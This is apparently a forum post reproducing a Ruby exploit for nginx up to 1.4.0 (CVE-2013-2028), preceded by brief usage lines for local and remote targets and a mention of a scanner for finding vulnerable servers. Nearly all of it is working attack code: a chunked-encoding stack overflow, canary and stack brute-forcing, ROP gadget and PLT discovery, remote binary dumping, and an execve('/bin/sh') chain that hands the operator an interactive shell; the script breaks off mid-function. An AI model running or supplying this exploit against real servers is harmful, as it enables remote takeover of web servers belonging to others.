HackerTop - View topic - nginx <= 1.4.0 exploit for CVE-2013-2028
View unanswered posts | View active topics It is currently Wed Dec 19, 2018 10:38 am



Reply to topic  [ 1 post ] 
 nginx <= 1.4.0 exploit for CVE-2013-2028 
Author Message
Site Admin
User avatar

Joined: Sun Jul 24, 2016 6:44 am
Posts: 18
Reply with quote
nginx <= 1.4.0 exploit for CVE-2013-2028
by sorbo (sorbo@darkircop.org)
Fri Jul 12 14:52:45 PDT 2013

./brop.rb 127.0.0.1

for remote hosts:
./frag.sh ip
./brop.rb ip

rm state.bin when changing host (or relaunching nginx with canaries)

scan.py will find servers, reading IPs from ips.txt

#./brop.rb ip
Code:
#!/usr/bin/env ruby

# Arch   - depth 10 pad 2  olen 4192 new vsyscall
# Ubuntu - depth 10 pad 3  olen 4120 new vsyscall canary
# Debian - depth 10 pad 2  olen 4192 unaligned vsyscall
# Centos - depth 10 pad 4  olen 4192 old vsyscall

# Arch   - depth 16 pad 2 ; 1 worker 18 pad 2  olen 4192
# Ubuntu - depth 16 pad 3 ; 1 worker 18 pad 3  olen 4120

require 'socket'
require 'timeout'

$ip = "127.0.0.1"
$port = 80

$vsyscall = 0xffffffffff600000
$death = 0x41414141414141
$text = 0x400000
$pops = []

#$depth = 10
#$pad = 2
$pad = 0
$reqs = 0
$padval = 0x4141414141414141
#$padval = $text

$to = 1
$url = "/"

VSYSCALL_OLD      = 1
VSYSCALL_UNALIGNED   = 2
VSYSCALL_NEW      = 3

def grab_socket()
   return TCPSocket.new($ip, $port) if not $sport

   got = false

   s = ""

   if not $localip
      s = TCPSocket.new($ip, $port)
      $localip = s.local_address.ip_address
      s.close()

      print("\nlocalip #{$localip}\n")
   end

   for i in 0..100
      begin
         s = Socket.new(:INET, :STREAM)

         s.setsockopt(:SOCKET, :REUSEADDR, true)

         sockaddr = Socket.sockaddr_in(7000 + i, $localip)
         s.bind(sockaddr)

         s.connect(Socket.pack_sockaddr_in($port, $ip))
         got = true
         break
      rescue Errno::EADDRNOTAVAIL
         s.close()
      end
   end

   abort("nope") if not got

   return s
end

def get_child()
        s = nil
        found = false

        while !found
                s = nil
   
      begin
         timeout(1) do
            s = grab_socket()
         end
      rescue
         print("Connect timeout\n")
         next
      end

                req = "GET #{$url} HTTP/1.1\r\n"
                req << "Host: yahoo.com\r\n"
                req << "Connection: Keep-Alive\r\n"
                req << "\r\n"
               
                s.puts(req)
                begin   
                        timeout(5) do
                                r = s.gets
                                if r.index("200 OK") != nil or r.index("404") != nil or r.index("302") != nil
                                        found = true
                                        break
                                end                                                                           
                        end                                                                                   
                rescue
                end

                break if found

                print("Bad child\n")
                s.close
        end

        read_response(s)

        return s
end

def read_response(s)
        cl = 0
        while true
                r = s.gets
                if r.index("Content-Length") != nil
                        cl = Integer(r.split()[1])
                end
               
                if (r == "\r\n")
                        r = s.read(cl)
                        break
                end
        end
end

def send_initial(s)
   $reqs += 1

        sz = 0xdeadbeefdeadbeeff.to_s(16)

        req = "GET #{$url} HTTP/1.1\r\n"
        req << "Host: yahoo.com\r\n"
        req << "Transfer-Encoding: Chunked\r\n"
        req << "Connection: Keep-Alive\r\n"
        req << "\r\n"
        req << "#{sz}\r\n"

        s.write(req)
   s.flush()

        read_response(s)
end

def send_exp(s, rop)
   send_initial(s)

        data = "A" * ($overflow_len - 8)
   $pad.times do
      padval = $padval
      data << [padval].pack("Q") # rbp
   end

        data << rop.pack("Q*")

   set_canary(data)

        s.write(data)                                                                                         
        s.flush()                                                                                             
end

def check_alive(s)
   sl = 0.01
   rep = $to.to_f / 0.01
   rep = rep.to_i

   rep.times do
      begin
         x = s.recv_nonblock(1)
         return false if x.length == 0

         print("\nDamn got stuff #{x.length} #{x}\n")
         return false
      rescue Errno::EAGAIN
         sleep(sl)
      rescue Errno::ECONNRESET
         return false
      end
   end

   return true
end

def check_vuln()
   print("Checking for vuln... ")

   s = get_child()
   send_initial(s)

   s.write("A\n")
   s.flush()

   abort("Not vuln") if not check_alive(s)

   s.close()

   a = Time.now

   s = get_child()
   send_initial(s)

   s.write("A" * 5000)
   s.flush()

   abort("Not vuln2") if check_alive(s)

   s.close()

   el = Time.now - a
   el *= 4.0
#   el = el.to_i
   $to = el

#   $to = 0.5 if $to <= 0

#   $to = 1

   print("Vuln\n")

   print("Timeout is #{$to}\n")
end

def canary_detect(len)
   print("Checking for canary... at #{len}\n")

   canary = []

   $sport = true

   while canary.length < 8
      found = false

      for i in 0..255
         print("Testing #{i.to_s(16)}\r")

         s = get_child()
         send_initial(s)

         data = "A" * len

         for c in canary
            data << [c].pack("C")
         end
            
         data << [i].pack("C")

         s.write(data)                                                 
         s.flush()

         rc = check_alive(s)
         s.close()

         if rc == true
            print("\nFound #{i.to_s(16)}\n")
            canary << i
            found = true
            break
         end
      end

      raise("canary not found") if not found
   end

   val = 0
   for i in 0..(canary.length - 1)
      val |= canary[i] << (i * 8)
   end

   $canary = val
   $canary_offset = len

   print("Canary 0x#{$canary.to_s(16)} at #{$canary_offset}\n")
end

def set_canary(data)
   return if not $canary

   can = [$canary].pack("Q")

   return if data.length < $canary_offset + can.length

   for i in 0..(can.length - 1)
      data[$canary_offset + i] = can[i]
   end
end

def check_overflow_len()
   len = 4096
   s = nil
   expected = 4192

   while true
      print("Check overflow len ... #{len}\r")

      s = get_child()
      send_initial(s)

      data = "A" * len
      set_canary(data)

      s.write(data)                                                                                         
      s.flush()                                                                                             

      break if not check_alive(s)

      len += 8
      s.close()
   end
   print("\n")

   s.close()

   if len == 4112 and not $canary
      canary_detect(len - 8)
      print("Trying again with canary...\n")
      check_overflow_len()
      return
   end

   print("WARNING unexpected overflow len\n") if len != expected

   $overflow_len = len
end

def check_stack_depth()
   depth = 1
   max = 100

   while depth < max
      print("Trying depth #{depth}\r")
      rop = Array.new(depth) { |i| $ret }

      s = get_child()
      send_exp(s, rop)

      break if check_alive(s)

      s.close()

      depth += 1
   end
   print("\n")

   abort("nope") if depth == max

   s.close()

   $depth = depth
end

def check_pad()
   pad = 0
   max = 100

   while pad < max
      print("Trying pad #{pad}\r")
      rop = Array.new($depth) { |i| $ret }

      for i in 0..pad
         padval = $padval
         rop[i] = padval
      end

      s = get_child()
      send_exp(s, rop)

      break if not check_alive(s)

      s.close()

      pad += 1
   end

   print("\n")

   $pad = pad
   $depth -= $pad

   print("Depth #{$depth} pad #{$pad}\n")

   s.close()
end

def do_try_exp(rop)
        s = get_child()
        send_exp(s, rop)

        alive = check_alive(s)
        if not alive
      s.close()
      return false
   end

        req = "0\r\n"
        req << "\r\n"
        req << "GET #{$url} HTTP/1.1\r\n"
        req << "Host: yahoo.com\r\n"
        req << "Transfer-Encoding: Chunked\r\n"
        req << "Connection: Keep-Alive\r\n"
        req << "\r\n"

        s.write(req)

   alive = check_alive(s)
   s.close()

   return true if not alive

   return 2
end

def try_exp(rop)
   while true
      begin
         return do_try_exp(rop)
      rescue Errno::ECONNRESET
         print("Conn reset\n")
         sleep(1)
      end
   end
end

def try_exp_print(addr, rop)
        print("\rAddr 0x#{addr.to_s(16)} ... ")

        r = try_exp(rop)

        print("ret\n") if (r == true)
        print("infinite loop\n") if (r == 2)

        return r
end

def verify_pop(pop)
#   ret = $ret ? $ret : pop + 1
   ret = pop + 1

        rop = Array.new($depth - 1) { |j| ret }
   rop << pop + 1

        return false if try_exp(rop) != true

        rop = Array.new($depth) { |j| pop + 1 }
   rop[1] = $death

   return false if try_exp(rop) != false

        rop = Array.new($depth) { |j| ret }
   rop[0] = pop
   rop[1] = 0x4141414141414141
   rop[2] = $death

   return false if try_exp(rop) != false

   if not $ret
      $ret = ret
      print("Found ret #{$ret.to_s(16)}\n")
   end

   return true
end

def check_pop(pop)
   check_rax(pop)
   check_rdi(pop)
end

def check_rdi(pop)
   return if not check_multi_pop(pop, 9, 6)

   print("Found POP RDI #{pop.to_s(16)}\n")

   $rdi = pop
end

def check_rax_rsp(pop)
   # pop rax ; ret => add $0x58, rsp
   return check_multi_pop(pop, 3, 11)
end

def check_multi_pop(pop, off, num)
   rop = Array.new($depth) { |j| pop + 1 }

   idx = $depth - num - 1
   if idx < 2
      print("FUCK\n")
      exit(1)
   end
   rop[idx] = pop - off
   rop[-1] = $death

   rc = try_exp(rop)

   return true if rc == true

   return false
end

def check_rax_syscall(pop)
   rop = []
   rop << pop
   rop << 34 # pause
   rop << $syscall
   rop << $death

   r = try_exp(rop)
   return true if r == 2

   return false
end

def check_rax(pop)
   rc = false
   if not $syscall
      rc = check_rax_rsp(pop)
   else
      rc = check_rax_syscall(pop)
   end

   return if rc == false

   print("POP RAX at 0x#{pop.to_s(16)}\n")
   $rax = pop
end

def find_pops()
   $start = 0x418a00
   $end   = 0x500000

   $start = 0x418b00
   $start = $ret - 0x1000

   skip = 0

   print("Finding POPs\n")

   start = $start
   start = $pos if $pos

   for i in start..$end
      if skip > 0
         skip -= 1
         next
      end

      rop = []

      ($depth / 2).times do
         rop << i
         rop << 0x4141414141414141
      end

      if $depth % 2 != 0
         rop << (i + 1)
         print("FUCK #{$depth} #{$depth % 2}\n")
      end

                r = try_exp_print(i, rop)
      if r == true
         if verify_pop(i)
            print("Found POP at 0x#{i.to_s(16)}\n")
            $pops << i
            check_pop(i)
         end
      end

      if r == 2
         skip = 100
      end

      $pos = i

      break if $rdi
   end
end

def find_rdi()
        for i in $pops
                rop = []

#               for j in $pops
#                       rop << j
#                       rop << 0
#               end
               
                rop << i
                rop << 0x0400000 # struct timespec

                rop << $rax
                rop << 35 # nanosleep
               
                rop << $syscall
                rop << $death
               
                r = try_exp_print(i, rop)
                if r == 2
         print("POP RDI at #{i}\n")
         $rdi = i
         return i
                end
        end

        return 0
end

def pause_child()
        rop = []
        rop << $rax
        rop << 34
        rop << $syscall

        s = get_child()
        send_exp(s, rop)

        return s
end

def try_rsi_kill(i)
        s = pause_child()

        rop = []
       
        rop << $rdi
        rop << 0
       
        rop << i
        rop << 0
       
        rop << $rax
        rop << 62 # kill

        rop << $syscall
        rop << $death

        try_exp(rop)

        for rep in 0..3
                begin   
                        x = s.recv_nonblock(1)
                        if x.length == 0
                                s.close()                                                                   
                                return false
                        end
                rescue Errno::EAGAIN
                end
        end

        return s

end

def find_rsi()
        s = pause_child()

        for i in $pops
                begin   
                        a = s.recv_nonblock(1)
                        raise "damn"
                rescue Errno::EAGAIN
                end

                rop = []

                rop << $rdi
                rop << 0
               
                rop << i
                rop << 9
               
                rop << $rax
                rop << 62 # kill
               
                rop << $syscall
                rop << $death
               
                r = try_exp_print(i, rop)
                next if r != false
               
                for rep in 0..3
                        begin   
                                a = s.recv_nonblock(1)
                                if a.length == 0
                                        s.close()                                                           

                                        s = try_rsi_kill(i)
                                        if s != false
                                                s.close()
                                                print("\n")
                  print("POP RSI #{i}\n")
                  $rsi = i
                                                return i
                                        end
                                        s = pause_child()
                                        break
                                end
                        rescue Errno::EAGAIN
                                sleep(0.1)
                        end
                end
        end

        return 0
end

def dump_fd_addr(fd, addr, write = $write, listnum = 2)
#   rop << $rsi
#   rop << addr
#
#   rop << $rax
#   rop << 1
#
#   rop << $syscall
#   rop << $death

   listeners = []

   for i in 0..listnum
      listener = get_child()
      listeners << listener
   end

   rop = []

   set_rdx(rop) if $strcmp

   for i in 0..20
      f = fd
      a = addr + (i * 4)

      if fd == -1
         f = 15 + i
         a = addr
      end

      rop << $rdi
      rop << f

      rop << $rdi - 2
      rop << a
      rop << 0

      rop << ($plt + 0xb)
      rop << write
   end

   rop << $death

        s = get_child()
        send_exp(s, rop)
   s.close()

   x = ""

   10.times do
      for l in listeners
         begin
            x = l.recv_nonblock(4096)
            if x.length > 0
               while true
                  more = l.recv(4096)

                  break if more.length == 0

                  x += more
               end
               break
            end
         rescue Errno::EAGAIN
         end
      end

      break if x.length > 0
#      sleep(0.01)
   end

   for l in listeners
      l.close()
   end

   return x
end

def dump_addr(addr)
   fd = 100

   rop = []

   rop << $rdi - 2
   rop << fd
   rop << 0

   rop << ($plt + 0xb)
   rop << $dup

   for i in 0..20
      set_rdx(rop)

      rop << $rdi
      rop << fd

      rop << $rdi - 2
      rop << addr + (i * 7)
      rop << 0

      rop << ($plt + 0xb)
      rop << $write
   end

   rop << $death

   s = get_child()
   send_exp(s, rop)

   x = ""

   while true
      r = s.recv(4096)

      break if r.length == 0

      x += r
   end

   s.close()

   return x
end

def dump_bin()
   addr = 0x400000
   fd = 3
   err = 0

        f = File.open("text.bin", "wb")

   last = Time.now

   while true
      print("Dumping #{addr.to_s(16)} ...")
#      x = dump_fd_addr(15, addr, $write, 50)
      x = dump_addr(addr)
#      x = dump_fd_addr(3, addr, $write, 1)

      print(" #{x.length}    \r")

      if x.length > 0
         addr += x.length
         f.write(x)
         last = Time.now
#         print("\n")
         err = 0
      else
         el = Time.now - last
         el = el.to_i
         
         err += 1
         break if el > 5
#         break if err > 20
      end
   end
   print("\n")

   f.close()
end

def check_syscall_ret(addr)
        rop = Array.new($depth) { |j| addr }

   return false if try_exp(rop) == false

        rop = Array.new($depth) { |j| addr + 2 }

   return false if try_exp(rop) == false

   $syscall = addr
   $ret = addr + 2 if not $ret

   return true
end

def check_old_vsyscall()
   print("Checking for old vsyscall\n")

   0x40.downto(0) { |i|
      addr = $vsyscall + 1024 + i

           rop = Array.new($depth) { |j| addr }

      if try_exp_print(addr, rop) == true
         $ret = addr if not $ret
         return true
      end
   }

   return false
end

def check_vsyscall()
   s = 2 + 10
   e = s + 2

   for depth in s..e
      $depth = depth
      print("Checking vsyscall depth #{depth}\n")
      rc = do_check_vsyscall()

      $vsyscall_mode = rc
      break if rc != VSYSCALL_NEW
   end

   $depth = nil
   print("Syscall mode is #{$vsyscall_mode}\n")
end

def do_check_vsyscall()
        rop = Array.new($depth) { |j| $vsyscall }

   if try_exp(rop) == false
      if check_old_vsyscall()
         return VSYSCALL_OLD
      else
         return VSYSCALL_NEW
      end
      return
   end

        rop = Array.new($depth) { |j| ($vsyscall + 0xa) }

   if try_exp(rop) == false
      if check_syscall_ret($vsyscall + 0x7)
         return VSYSCALL_UNALIGNED
      end
   end

   print("Dunno\n")
   exit(1)
end

def determine_target()
   if $overflow_len == 4192 and $vsyscall_mode == VSYSCALL_NEW
#      $depth = 16
      $depth = 10
      $pad = 2
   end

   print("Pad #{$pad} Depth #{$depth}\n")
end

def find_plt(dep = 0, start = $text, len = 0x10000)
   plt  = start
   plte = plt + len

   print("Finding plt #{plt.to_s(16)} - #{plte.to_s(16)}\n")

   while true
      for d in 0..dep
         if try_plt($depth + d, plt)
            $plt = plt
            $depth += d
            print("Found PLT #{plt.to_s(16)} depth #{$depth}\n")
            return
         end
      end

      plt += 0x10 * 30

      break if plt >= plte
   end
end

def try_plt(depth, plt)
   rop = Array.new(depth) { |i| plt }

        r = try_exp_print(plt, rop)
   if r == true
      rop = Array.new(depth) { |i| plt + 6 }

      return true if try_exp(rop)
   end

   return false
end

def find_write()
   write = $plt

   print("Finding write\n")

   while true
      print("Trying #{write.to_s(16)}\r")

      x = dump_fd_addr(20, 0x400000, write, 50)
      if x.length == 84 and x[1] == 'E'
         printf("\nwrite at #{write.to_s(16)} (#{x.length})\n")
         $write = write
         return
      end

      write += 0x10

      if write > ($plt + 200 * 0x10)
         print("Trying again\n")
         write = $plt
      end
   end
end

def set_rdx(rop, good = 0x400000)
#   good = 0x400000
#   good = $vsyscall + 100

   rop << $rdi
   rop << good

   rop << $rdi - 2
   rop << good
   rop << 0

   rop << ($plt + 0xb)
   rop << $strcmp
end

def got_write(x)
##   if $canary
##       return if x.length != 7
##    else
##       return if x.length != 4
##    end

   return if x.length < 4

   return false if x[1] != 'E'
   return false if x[2] != 'L'
   return false if x[3] != 'F'

   return true
end

def try_write(listeners, write)
   if call_plt(write, $death, $death) != true
      print("Skippin #{write.to_s(16)}\n")
      return false
   end

   listc = 50

   for l in listeners
      begin
         x = l.recv_nonblock(1)
         if x.length == 0
            l.close()
            listeners.delete(l)
            next
         end
      rescue Errno::EAGAIN
      end
   end

   conn = 0

   while listeners.length < listc
      listeners << get_child()
      conn += 1
   end

#   print("Connected #{conn} listeners\n") if conn > 0

   addr = 0x400000
   fd = 15

   rop = []

   set_rdx(rop) if $canary

   rop << $rdi
   rop << fd

   rop << $rdi - 2
   rop << 0x400000
   rop << 0

   rop << ($plt + 0xb)
   rop << write
#   rop << write
#   rop << write

#   need = $depth - rop.length
#   need.times do
#      rop << $plt
#   end
   rop << $death

        s = get_child()
        send_exp(s, rop)
   s.close()

   ($to / 0.01).to_i.times do
      for l in listeners
         begin
            x = l.recv_nonblock(4096)
            if x.length == 0
               l.close()
               listeners.delete(l)
               next
            end

            if got_write(x)
               for l in listeners
                  l.close()
               end
               return true
            end

            abort("dunno")
         rescue Errno::EAGAIN
         end
      end
      sleep(0.01)
   end

   return false
end

def try_write2(listeners, write)
   addr = 0x400000

   rop = []

   for fd in 0..50
      set_rdx(rop)

      rop << $rdi - 2
      rop << 0x400000
      rop << 0

      rop << $rdi
      rop << fd

      rop << ($plt + 0xb)
      rop << write
   end

   rop << $death

        s = get_child()
        send_exp(s, rop)

   stuff = ""

   sl = 0.01
   rep = $to.to_f / 0.01
   rep = rep.to_i
   rep.times do
      begin
         x = s.recv_nonblock(4096)
         break if x.length == 0

         stuff += x
      rescue Errno::EAGAIN
      rescue Errno::ECONNRESET
         break
      end
      sleep(sl)
   end
   s.close()

   return got_write(stuff)
end

def find_write2()
   print("Finding write\n")

   listeners = []

   write = 0
   while true
      print("Trying #{write.to_s(16)}\r")

      if try_write2(listeners, write)
         printf("\nwrite at #{write.to_s(16)}\n")
         $write = write
         return
      end

      write += 1

      if write > 200
         print("\nTrying again\n")
         write = 0
      end
   end
   exit(1)
end

def stack_read()
   print("Stack reading\n")

   stack = []

   while true
      x = stack_read_word(stack)
      stack << x

      print("Stack has 0x#{x.to_s(16)}\n")

      break if x > 0x400000 and x < 0x500000

                if (x & 0x7fff00000000) == 0x7fff00000000
                        print("Stack ptr #{x.to_s(16)}\n")
                elsif (x & 0x7f0000000000) == 0x7f0000000000
                        print(".text ptr #{x.to_s(16)}\n")
                        $aslr = x
                        break
                end
   end

   $pad = stack.length - 1
   $ret = stack[-1]
   $depth = 10

   print("Pad #{$pad} Ret #{$ret.to_s(16)}\n")
end

def stack_read_word(pad)
   stack = []

   while stack.length < 8
      found = false

      for i in 0..255
         print("\rTesting #{i.to_s(16)}")

         s = get_child()
         send_initial(s)

         data = "A" * ($overflow_len - 8)

         data << pad.pack("Q*")

         for x in stack
            data << [x].pack("C")
         end

         data << [i].pack("C")

         set_canary(data)

         s.write(data)                                                 
         s.flush()

         rc = check_alive(s)
         s.close()

         if rc == true
            print(" - Found #{i.to_s(16)}\n")
            stack << i
            found = true
            break
         end
      end

      print("\nNot found... damn - trying again\n") if not found
   end

   val = 0
   for i in 0..(stack.length - 1)
      val |= stack[i] << (i * 8)
   end

   return val
end

def print_progress()
   if not $startt
      $startt = Time.now
      return
   end

   now = Time.now
   elapsed = now - $startt
   elapsed = elapsed.to_i

   print("==================\n")
   print("Reqs sent #{$reqs} time #{elapsed}\n")
   print("==================\n")

   do_state(true, true)
end

def exp()
   print("Exploiting\n")

   listeners = []

   rop = []

   fd = 15
   rop << $rdi
   rop << fd
   rop << $rdi - 2
   rop << 0
   rop << 0
   rop << 0x0000000000402810 # dup2

   rop << $rdi
   rop << fd
   rop << $rdi - 2
   rop << 1
   rop << 0
   rop << 0x0000000000402810 # dup2

   rop << $rdi
   rop << fd
   rop << $rdi - 2
   rop << 2
   rop << 0
   rop << 0x0000000000402810 # dup2

   wr = 0x0068cf60
   rop << $rdi - 2
   rop << 0x0068732f6e69622f # /bin/sh
   rop << 0

   rax = 0x441b88
   rop << rax
   rop << wr
   rop << 0x42a98b # mov rsi, (rax)

   rdx = 0x404f4b
   rop << rax
   rop << wr + 0x7d
   rop << rdx
   rop << 0

   rop << $rdi - 2
   rop << 0
   rop << 0

   rop << $rdi
   rop << wr

   rop << 0x4029b0 # execve

#   rop << 0xffffffffff600001
   rop << 0x400000

        s = get_child()

   50.times do
      listeners << get_child()
   end

        send_exp(s, rop)

   for l in listeners
      l.write("\n\n\n\n\n\n\nid\n")
   end

   x = ""
   10.times do
      for l in listeners
         begin
            x = l.recv_nonblock(1024)
         rescue Errno::EAGAIN
         end

         if x.length > 0
            s.close()
            s = l
            break
         end
      end

      break if x.length > 0

      sleep(0.1)
   end

   for l in listeners
      l.close() if l != s
   end

   s.write("uname -a\nid\n")

   dropshell(s)

   exit(1)
end

def dropshell(s)
   while true
      r = select([s, STDIN], nil, nil)

      if r[0][0] == s
         x = s.recv(1024)

         break if x.length == 0

         print("#{x}")
      else
         x = STDIN.gets()

         s.write(x)
      end
   end
end

def find_fd()
   print("Finding FD\n")

   for fd in 15..20
      print("Trying #{fd} ... \r")

      x = dump_fd_addr(fd, 0x400000, $write, 50)

      if x.length > 0
         print("\nFound FD #{fd}\n")
         break
      end
   end

   exit(1)
end

def get_dist(gadget, inc)
   dist = 0

   for i in 1..7
                rop = Array.new($depth) { |j| $plt }

      rop[0] = gadget + inc * i

      break if try_exp(rop) != true
      dist = i
   end

   return dist
end

def verify_gadget(gadget)
   left = 0
   right = 0

   left  = get_dist(gadget, -1)
   right = get_dist(gadget, 1)

   return false if left + right != 6

   print("LEFT #{left} RIGHT #{right} addr #{gadget.to_s(16)}\n")

   rdi = gadget + right - 1

   return check_rdi(rdi)
end

def find_gadget()
   print("Finding gadget\n")

   $start = $ret
   $end = $ret + 0x100000

   start = $start
   start = $pos if $pos
   skip = 0

   for i in start..$end
      if skip > 0
         skip -= 1
         next
      end

      rop = []

      rop = Array.new($depth) { |j| $plt }

      rop[0] = i

                r = try_exp_print(i, rop)
      if r == true
         if verify_gadget(i)
            print("Found POP at 0x#{i.to_s(16)}\n")
            $pops << i
            check_pop(i)
         end
      end

      if r == 2
         skip = 100
      end

      $pos = i

      break if $rdi

      skip = 7
   end
end

def find_plt_depth_aslr()
   print("PLT AT #{$aslr.to_s(16)}\n")
   start = 0x7fd10a00d000
   $depth = 32
   $pad = 0
   len = 0x10000

   start = $aslr & ~0xfff

   while not $plt
      find_plt(2, start, len)

      start -= len

      break if $plt

      print("\n nope\n")
   end
end

def find_plt_depth()
   if $aslr
      find_plt_depth_aslr()
      return
   end

   $depth = 18
   $pad   = 0

   find_plt(4)

#   if not $plt
#      print("Assuming conf worker = 1\n")
#      $depth = 10
#      find_plt(2)
#   end

   return if not $plt

   $ret = $plt

   check_pad()

   $ret   = 0x430000
end

def call_plt(entry, arg1, arg2)
   rop = []

   rop << $rdi
   rop << arg1

   rop << $rdi - 2
   rop << arg2
   rop << 0

   rop << ($plt + 0xb)
   rop << entry

   ($depth - rop.length).times do
      rop << $plt
   end

   return try_exp(rop)
end

def try_strcmp(entry)
   print("Trying PLT entry #{entry.to_s(16)}\r")

   good = 0x400000

   return false if call_plt(entry, 3, 5) != false
   return false if call_plt(entry, good, 5) != false
   return false if call_plt(entry, 3, good) != false

   return false if call_plt(entry, good, good) != true
   return false if call_plt(entry, $vsyscall + 0x1000 - 1, good) != true

   return true
end

def find_rdx()
   print("Finding strcmp\n")

   for i in 0..256
      if try_strcmp(i)
         print("\nFound strcmp at PLT 0x#{i.to_s(16)}\n")
         $strcmp = i
         break
      end
   end
end

def find_dup()
   print("Find dup2\n")

   fd = 100

   for i in 0..200
      print("Trying dup2 at #{i.to_s(16)}\r")

      rop = []

      rop << $rdi - 2
      rop << fd
      rop << 0

      rop << ($plt + 0xb)
      rop << i

      set_rdx(rop)

      rop << $rdi
      rop << fd

      rop << $rdi - 2
      rop << 0x400000
      rop << 0

      rop << ($plt + 0xb)
      rop << $write
      rop << $death

      s = get_child()
      send_exp(s, rop)

      x = s.recv(4096)

      s.close()

      if got_write(x)
         print("\nFound dup at #{i.to_s(16)}\n")
         $dup = i
         break
      end
   end
end

def do_read(rop, fd, writable, read = $read)
   rop << $rdi
   rop << fd

   rop << $rdi - 2
   rop << writable
   rop << 0

   10.times do
      rop << ($plt + 0xb)
      rop << $write
   end

   10.times do
      rop << ($plt + 0xb)
      rop << read
   end

   rop << ($plt + 0xb)
   rop << $write
end

def do_read2(rop, fd, writable)
   set_rdx(rop, $goodrdx)

   rop << $rdi
   rop << fd

   rop << $rdi - 2
   rop << writable
   rop << 0

   rop << ($plt + 0xb)
   rop << $write

   rop << $rdi
   rop << 1000 * 1000 * 2

   rop << ($plt + 0xb)
   rop << $usleep

   set_rdx(rop, $goodrdx)

   rop << $rdi
   rop << fd

   rop << $rdi - 2
   rop << writable
   rop << 0

   rop << ($plt + 0xb)
   rop << $read

   set_rdx(rop, $goodrdx)

   rop << $rdi
   rop << fd

   rop << $rdi - 2
   rop << writable
   rop << 0

   rop << ($plt + 0xb)
   rop << $write
end

def find_read()
   print("Finding read\n")

   fd = 100

   # 0x00690000
   writable = $writable
   str = "pwneddd"

   for i in 0..200
      print("Trying read at #{i.to_s(16)}\r")

      rop = []

      rop << $rdi - 2
      rop << fd
      rop << 0

      rop << ($plt + 0xb)
      rop << $dup

      set_rdx(rop)
      do_read(rop, fd, writable, i)

      rop << $death

      s = get_child()
      send_exp(s, rop)

      x = s.recv(1)
      s.write(str)

      stuff = "" + x

      while true
         begin
            x = s.recv(4096)
         rescue
            break
         end

         break if x.length == 0

         stuff += x
      end

      s.close()

      if stuff.include?(str)
         print("\nFound read at #{i.to_s(16)}\n")
         $read = i
         break
      end
   end
end

def dup_fd(rop, fd, src = false)
   rop << $rdi - 2
   rop << fd
   rop << 0

   if src != false
      rop << $rdi
      rop << src
   end

   rop << ($plt + 0xb)
   rop << $dup
end

def find_good_rdx()
   print("Finding good rdx\n")

   addr = $rdi - 9

   fd = 100

   while true
      rop = []

      dup_fd(rop, fd)
      set_rdx(rop, addr)

      rop << $rdi
      rop << fd

      rop << $rdi - 2
      rop << addr
      rop << 0

      rop << ($plt + 0xb)
      rop << $write
      rop << $death

      s = get_child()
      send_exp(s, rop)
      x = s.recv(4096)

      print("GOT #{x.length} at #{addr.to_s(16)}\n")

      if x.length >= 8
         $goodrdx = addr
         break
      end
      addr += x.length + 1

      addr += 1 if x.length == 0
   end
end

def do_execve(i = $execve)
   print("Trying execve at #{i.to_s(16)}\r")

   fd = 100

   # 0x00690000
   writable = $writable
   str = "/bin/sh\0"

   rop = []

   dup_fd(rop, fd)
   dup_fd(rop, 0, fd)
   dup_fd(rop, 1, fd)
   dup_fd(rop, 2, fd)

   do_read2(rop, fd, writable)

   set_rdx(rop, 0x400000 + 8)

   rop << $rdi
   rop << writable

   rop << $rdi - 2
   rop << 0
   rop << 0

   rop << ($plt + 0xb)
   rop << i
   rop << $death

   s = get_child()
   send_exp(s, rop)
   x = s.recv(1)
   s.write(str)

   print("Wait 2 secs...\n")

   stuff = "" + x

   while true
      begin
         x = s.recv(4096)
      rescue
         break
      end

      break if x.length == 0

      stuff += x

      print("Got #{x.length}\n")

      break if stuff.include?(str)
   end

   if not stuff.include?(str)
      print("Write didn't happen\n")
      s.close()
      return
   end

   s.write("\n\n\n\n\nid\n\n")

   while true
      begin
        timeout (1) do
         x = s.recv(4096)
        end
      rescue
         break
      end
         
      break if x.length == 0

      if x.include?("uid")
         print("\nFound execve at #{i.to_s(16)}\n")
         $execve = i
         save_state()
         print_progress()
         s.write("uname -a\nid\n")
         dropshell(s)
         s.close()
         exit(1)
         return
      end
   end

   s.close()
end

def find_execve()
   print("Finding exec\n")

   for i in 0..200
      do_execve(i)
   end

   print("\n")
end

# search for ascii ZERO ascii
def has_str(stuff, skip = 0, strict = false)
   # 0 start
   # 1 found first ascii
   # 2 found zero
   # 3 found second ascii
   state = 0

   len = 0
   min = 3

   stuff.each_byte do |c|
      if skip > 0
         skip -= 1
         next
      end

      ascii = (c >= 0x20 and c <= 0x7E)

      case state
      when 0
         if ascii
            state = 1
            len   = 0
         else
            return false if strict
         end

      when 1
         if ascii
            len += 1
         elsif c == 0
            if len >= min
               state = 2
               len = 0
            else
               state = 0
               return false if strict
            end
         else
            state = 0
            return false if strict
         end

      when 2
         if ascii
            len += 1

            return true if len >= min
         else
            state = 0
            return false if strict
         end
      else
         abort("morte")
      end
   end

   return false
end

def got_sym(symno, symname)
   if symname == "read"
      $read = symno
      print("Read at 0x#{$read.to_s(16)}\n")
   elsif symname == "execve"
      $execve = symno
      print("Execve at 0x#{$execve.to_s(16)}\n")
   elsif symname == "usleep"
      $usleep = symno
      print("usleep at 0x#{$usleep.to_s(16)}\n")
   end
end

def read_sym()
   print("Reading sym\n")

   prog = ""
   addr_start = 0x00400200
   addr = addr_start
   dynstr = 0

   while true
      print("Reading #{addr.to_s(16)}\r")
      x = dump_addr(addr)
      break if x.length == 0

      prog += x
      addr += x.length

      # I know it can be more efficient...
      if dynstr == 0 and has_str(prog)
         print("Found strings at #{addr.to_s(16)}\n")
         for i in 0..(prog.length - 1)
            if has_str(prog, i, true)
               dynstr = addr_start + i

               abort("damn") if i < 1
               abort("fdsf") if prog[i - 1] != "\x00"

               # XXX check 24 byte alignment

               dynstr -= 1
               print("dynstr at 0x#{dynstr.to_s(16)}\n")
               break
            end
         end
      end

      break if dynstr != 0
   end

   idx = dynstr - addr_start

   dynsym = 0
   symlen = 24

   while idx >= 0
      zeros = 0

      for i in 0..(symlen-1)

         c = prog[idx + i]

         zeros += 1 if c == "\x00"
      end

      if zeros == symlen
         dynsym = addr_start + idx
         break
      end

      idx -= symlen
   end

   if dynsym == 0
           File.open("morte.bin", "w") { |file| file.write(prog) }
   end

   print("dynsym at 0x#{dynsym.to_s(16)}\n")

   idx = dynsym - addr_start

   print("Dumping symbols\n")

   symno = 0
   symtab = {}
   while idx < (dynstr - addr_start)
      stri = prog[idx..(idx + 3)]
